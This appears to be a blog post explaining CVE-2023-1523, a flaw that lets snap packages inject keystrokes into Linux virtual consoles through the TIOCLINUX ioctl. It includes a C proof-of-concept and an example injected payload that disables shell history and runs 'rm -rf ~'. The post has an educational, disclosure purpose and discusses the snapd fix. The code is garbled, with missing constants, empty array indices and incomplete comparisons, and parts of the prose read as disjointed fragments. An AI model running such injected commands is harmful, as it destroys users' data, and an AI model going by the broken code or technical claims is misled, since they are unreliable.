---

Summary:  
A security issue (CVE-2023-1523) exists in how the Snap sandbox interacts with classic Linux terminals (virtual consoles like /dev/tty) on Ubuntu and related distributions. If a malicious Snap package runs on a virtual console, it can use a special ioctl (system call) to inject fake keystrokes into the terminal—after the Snap app exits, those "keystrokes" could execute dangerous commands as the user, outside of snap’s sandbox. If you use programs like xterm or gnome-terminal (graphical terminals), you aren’t affected. If you ever run snaps directly on virtual consoles (think Ctrl+Alt+F2), you're at risk.

Let’s break down what’s going on, why it matters, and see some practical exploitation details, including code!

What is TIOCLINUX?

On Linux, the ioctl() system call is used to send various commands to devices like terminals. One of those commands, TIOCLINUX, is kind of a grab bag for strange and old operations.

One magic feature of TIOCLINUX lets anyone who can write to a terminal inject keystrokes—as if typed by the user. That’s typically not a big deal, but in the context of snap confinement, it’s dangerous, because:

But, within their “container,” they *can still talk to the controlling terminal.*

- On classic *virtual consoles*, the TIOCLINUX trick can inject keystrokes which then run *after* the snap exits.

Snap exits.

User returns to the console, at the shell prompt, but doesn’t realize the *command has already been injected*.

Injected command runs.

Because the terminal thinks the user typed a command, it may execute with the user’s full privileges, outside any snap restrictions.

Remember:

This only works on *virtual consoles* (the alt+F2, alt+F3 text consoles).

- If you’re in xterm, gnome-terminal, or similar, you’re safe. Those do not process TIOCLINUX injections.

Proof-of-Concept (PoC) Code

Here’s a minimal C program that demonstrates the attack. It types ls -la⏎ (lists files) into the parent terminal, but you could swap this for any command:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

#define TIOCLINUX x541C  // Linux specific

int main() {
    char *cmd = "ls -la\n"; // Command to inject

    // The TIOCLINUX subcode for injecting keystrokes
    // subcode 6: maps to "insert character(s)"
    unsigned char buffer[256];
    buffer[] = 6; // subcode
    memcpy(buffer + 1, cmd, strlen(cmd));

    int tty = open("/dev/tty", O_WRONLY);
    if (tty < ) {
        perror("open");
        return 1;
    }

    // Send keystrokes to the console
    ioctl(tty, TIOCLINUX, buffer);

    close(tty);
    printf("Injected command!\n");
    return ;
}

How to use

- Save as inject.c, compile (gcc inject.c -o inject), run from a snap *or* from a shell on a virtual console.

Real-world Exploit Scenario

Suppose a snap says it’s a cool text editor. A user switches to tty3, runs sudo snap run notepad-snap.

Inside, the snap runs the exploit to inject

export HISTFILE=/dev/null; echo 'rm -rf ~' | at now

Now, after the snap exits, the shell on tty3 will receive the commands as if the user typed them—poof, home directory deleted!

Worse:
If the injected commands happen to include sudo or pkexec and the user's session is unlocked, pretty much anything is possible.

Not affected:

- GNOME Terminal, xterm, konsole, or any terminal inside X11/Wayland

Canonical patched snapd (details here!)

- As of snapd 2.59.1, access to the TIOCLINUX ioctl via /dev/tty is restricted inside the snap sandbox.

If a snap tries to use TIOCLINUX to inject input, it fails with permission denied.

Upstream kernel discussion:  
- The kernel maintainers recommend that terminal programs ignore or restrict dangerous ioctls, but the real fix here is for sandbox systems (like snapd) to block these outright.

References & Further Reading

- Canonical Security Notice USN-5926-1
- snapd Issue: Restrict TIOCLINUX ioctl
- Linux Man Page: tty_ioctl (Search for TIOCLINUX)
- Original Ubuntu bug report
- Security Patch Announcement
- Mini write-up by Christian Brauner (explainer thread)

In Conclusion

CVE-2023-1523 is a great real-world lesson: even restricted "containerized" apps can sometimes interact with the host in unusual, legacy ways. Here, a "harmless" old terminal ioctl let snap apps break out—if only briefly—to execute code as you. Don't underestimate what *console access* can mean!

Have questions or want to see more? Hit reply!

*This post was written exclusively for educational purposes and uses only public information and declassified vulnerability details. Always patch your systems, and never run untrusted snaps on bare consoles!*

Timeline

Published on: 09/01/2023 19:15:00 UTC
Last modified on: 09/08/2023 17:17:00 UTC